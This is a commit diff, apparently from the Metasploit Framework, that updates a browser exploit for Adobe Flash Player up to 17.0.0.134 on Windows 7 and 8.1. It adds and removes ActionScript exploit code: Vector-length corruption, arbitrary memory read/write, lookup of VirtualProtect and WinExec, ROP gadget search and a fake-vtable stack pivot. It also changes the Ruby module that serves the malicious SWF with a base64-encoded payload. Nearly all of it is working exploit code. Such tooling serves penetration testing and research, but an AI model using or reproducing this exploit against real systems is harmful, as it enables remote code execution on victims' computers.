Update to use the new flash Exploiter

This commit is contained in:
jvazquez-r7 2015-06-10 13:50:43 -05:00
parent 8dad739c76
commit 6c7ee10520
4 changed files with 134 additions and 272 deletions

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@ -0,0 +1,123 @@
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Be support to support 16.0 as target-player (flex-config.xml).
// 3. Download the Flex SDK (4.6)
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 5. Build with: mxmlc -o msf.swf Msf.as
// Original code by @hdarwin89 modified to be used from msf
// https://git.hacklab.kr/snippets/13
// http://pastebin.com/Wj3NViUu
package
{
import flash.display.Sprite
import flash.events.Event
import flash.utils.ByteArray
import flash.system.Worker
import flash.system.WorkerDomain
import flash.system.MessageChannel
import flash.system.ApplicationDomain
import avm2.intrinsics.memory.casi32
import flash.display.LoaderInfo
import mx.utils.Base64Decoder
public class Exploit extends Sprite
{
private var ov:Vector.<Object> = new Vector.<Object>(25600)
private var uv:Vector.<uint> = new Vector.<uint>
private var ba:ByteArray = new ByteArray()
private var b64:Base64Decoder = new Base64Decoder()
private var worker:Worker
private var mc:MessageChannel
private var payload:ByteArray
private var platform:String
private var os:String
private var exploiter:Exploiter
public function Exploit()
{
if (Worker.current.isPrimordial) mainThread()
else workerThread()
}
private function mainThread():void
{
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
os = LoaderInfo(this.root.loaderInfo).parameters.os
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray()
ba.length = 0x1000
ba.shareable = true
for (var i:uint = 0; i < ov.length; i++) {
ov[i] = new Vector.<uint>(1014)
ov[i][0] = 0xdeedbeef
}
for (i = 0; i < ov.length; i += 2) delete(ov[i])
worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes)
mc = worker.createMessageChannel(Worker.current)
mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage)
worker.setSharedProperty("mc", mc)
worker.setSharedProperty("ba", ba)
ApplicationDomain.currentDomain.domainMemory = ba
worker.start()
}
private function workerThread():void
{
var ba:ByteArray = Worker.current.getSharedProperty("ba")
var mc:MessageChannel = Worker.current.getSharedProperty("mc")
var tmp:ByteArray = new ByteArray()
tmp.length = 0x2000
for (var i:uint = 0; i < 20; i++) {
new Vector.<uint>(1022)
}
ba.writeBytes(tmp)
ov[0] = new Vector.<uint>(1022)
mc.send("")
while (mc.messageAvailable);
for (i = 0;; i++) {
if (ov[0][i] == 1014 && ov[0][i + 2] == 0xdeedbeef) {
ov[0][i] = 0xffffffff
break
}
}
ov[0][0xfffffffe] = 1014
mc.send("")
}
private function onMessage(e:Event):void
{
var mod:uint = casi32(0, 1022, 0xFFFFFFFF)
Logger.log("[*] Exploit - onMessage(): mod: " + mod.toString())
if (mod == 1022) mc.receive()
else {
for (var i:uint = 0; i < ov.length; i++) {
if (ov[i].length == 0xffffffff) {
uv = ov[i]
} else {
if (ov[i] != null) {
delete(ov[i])
ov[i] = null
}
}
}
if (uv == null) {
Logger.log("[!] Exploit - onMessage(): Corrupted Vector not found")
return
}
exploiter = new Exploiter(this, platform, os, payload, uv)
}
}
}
}

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@ -1,264 +0,0 @@
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Be support to support 16.0 as target-player (flex-config.xml).
// 3. Download the Flex SDK (4.6)
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 5. Build with: mxmlc -o msf.swf Msf.as
// Original code by @hdarwin89 modified to be used from msf
// https://git.hacklab.kr/snippets/13
// http://pastebin.com/Wj3NViUu
package
{
import flash.display.Sprite
import flash.events.Event
import flash.utils.ByteArray
import flash.system.Worker
import flash.system.WorkerDomain
import flash.system.MessageChannel
import flash.system.ApplicationDomain
import avm2.intrinsics.memory.casi32
import flash.display.LoaderInfo
import mx.utils.Base64Decoder
public class Msf extends Sprite
{
private var ov:Vector.<Object> = new Vector.<Object>(25600)
private var uv:Vector.<uint> = new Vector.<uint>
private var ba:ByteArray = new ByteArray()
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
private var b64:Base64Decoder = new Base64Decoder()
private var payload:String = ""
private var worker:Worker
private var mc:MessageChannel
public function Msf()
{
if (Worker.current.isPrimordial) mainThread()
else workerThread()
}
private function mainThread():void
{
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray().toString()
ba.length = 0x1000
ba.shareable = true
for (var i:uint = 0; i < ov.length; i++) {
ov[i] = new Vector.<Object>(1014)
ov[i][0] = ba
ov[i][1] = this
ov[i][2] = stack
ov[i][3] = payload_space
}
for (i = 0; i < ov.length; i += 2) delete(ov[i])
worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes)
mc = worker.createMessageChannel(Worker.current)
mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage)
worker.setSharedProperty("mc", mc)
worker.setSharedProperty("ba", ba)
ApplicationDomain.currentDomain.domainMemory = ba
worker.start()
}
private function workerThread():void
{
var ba:ByteArray = Worker.current.getSharedProperty("ba")
var mc:MessageChannel = Worker.current.getSharedProperty("mc")
var tmp:ByteArray = new ByteArray()
tmp.length = 0x2000
for (var i:uint = 0; i < 20; i++) {
new Vector.<uint>(1022)
}
ba.writeBytes(tmp)
ov[0] = new Vector.<uint>(1022)
mc.send("")
while (mc.messageAvailable);
// Vector length corruption didn't work, aborting...
if (ov[0].length != 0xffffffff) {
return
}
// Bad memory layout :( restoring length, and aborting...
if (ov[0][0x407] != 0x3f6) {
ov[0][0x3ffffffe] = 1022
return
}
ov[0][0] = ov[0][0x403] - 0x18 - 0x1000
var buffer:uint = vector_read(vector_read(ov[0][0x408] - 1 + 0x40) + 8) //+ 0x100000
var main:uint = ov[0][0x409] - 1
var stack_object:uint = ov[0][0x40a] - 1
var payload_space_object:uint = ov[0][0x40b] - 1
var vtable:uint = vector_read(main)
var stack_address:uint = vector_read(stack_object + 0x18) as uint
var payload_address:uint = vector_read(payload_space_object + 0x18) as uint
vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 8)
vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 16, 0xffffffff)
mc.send(buffer.toString() + "/" + main.toString() + "/" + vtable.toString() + "/" + stack_address.toString() + "/" + payload_address.toString())
}
private function onMessage(e:Event):void
{
casi32(0, 1022, 0xFFFFFFFF)
if (ba.length != 0xffffffff) mc.receive()
else {
// Restoring vector length
var res:uint = casi32(0, 0xffffffff, 1022)
if (res != 0xffffffff) { // Something has been wrong... aborting
return
}
ba.endian = "littleEndian"
var data:Array = (mc.receive() as String).split("/")
var buffer:uint = parseInt(data[0]) as uint
var main:uint = parseInt(data[1]) as uint
var vtable:uint = parseInt(data[2]) as uint
var stack_address:uint = parseInt(data[3]) as uint
var payload_address:uint = parseInt(data[4]) as uint
var flash:uint = base(vtable)
var winmm:uint = module("winmm.dll", flash)
var kernel32:uint = module("kernel32.dll", winmm)
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
var winexec:uint = procedure("WinExec", kernel32)
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
// Continuation of execution
byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
byte_write(0, "\x89\x03", false) // mov [ebx], eax
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
byte_write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
byte_write(0, virtualprotect)
// VirtualProtect
byte_write(0, winexec)
byte_write(0, buffer + 0x10)
byte_write(0, 0x1000)
byte_write(0, 0x40)
byte_write(0, buffer + 0x8) // Writable address (4 bytes)
// WinExec
byte_write(0, buffer + 0x10)
byte_write(0, payload_address + 8)
byte_write(0)
byte_write(main, stack_address + 0x18000) // overwrite with fake vtable
toString() // call method in the fake vtable
}
}
private function vector_write(addr:uint, value:uint = 0):void
{
var pos:uint = 0
if (addr > ov[0][0]) {
pos = ((addr - ov[0][0]) / 4) - 2
} else {
pos = ((0xffffffff - (ov[0][0] - addr)) / 4) - 1
}
ov[0][pos] = value
}
private function vector_read(addr:uint):uint
{
var pos:uint = 0
if (addr > ov[0][0]) {
pos = ((addr - ov[0][0]) / 4) - 2
} else {
pos = ((0xffffffff - (ov[0][0] - addr)) / 4) - 1
}
return ov[0][pos]
}
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) ba.position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else ba.writeUnsignedInt(value)
}
private function byte_read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
private function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (byte_read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
private function module(name:String, addr:uint):uint
{
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1
while (true) {
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
ba.position = addr + entry
if (ba.readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break
}
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)))
}
private function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
var numberOfNames:uint = byte_read(eat + 0x18)
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
var addressOfNames:uint = addr + byte_read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
for (var i:uint = 0; ; i++) {
var entry:uint = byte_read(addressOfNames + i * 4)
ba.position = addr + entry
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
}
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
}
private function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
return addr + i
}
}
}

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@ -6,9 +6,8 @@
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
Rank = GreatRanking
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
@ -48,8 +47,11 @@ class Metasploit3 < Msf::Exploit::Remote
'BrowserRequirements' =>
{
:source => /script|headers/i,
:os_name => OperatingSystems::Match::WINDOWS_7,
:ua_name => Msf::HttpClients::IE,
:os_name => lambda do |os|
os =~ OperatingSystems::Match::WINDOWS_7 ||
os =~ OperatingSystems::Match::WINDOWS_81
end,
:ua_name => lambda { |ua| [Msf::HttpClients::IE, Msf::HttpClients::FF].include?(ua) },
:flash => lambda { |ver| ver =~ /^17\./ && Gem::Version.new(ver) <= Gem::Version.new('17.0.0.134') },
:arch => ARCH_X86
},
@ -83,17 +85,18 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
target_payload = get_payload(cli, target_info)
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
b64_payload = Rex::Text.encode_base64(psh_payload)
b64_payload = Rex::Text.encode_base64(target_payload)
platform_id = 'win'
os_name = target_info[:os_name]
html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>" />
<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/>
</object>
</body>
</html>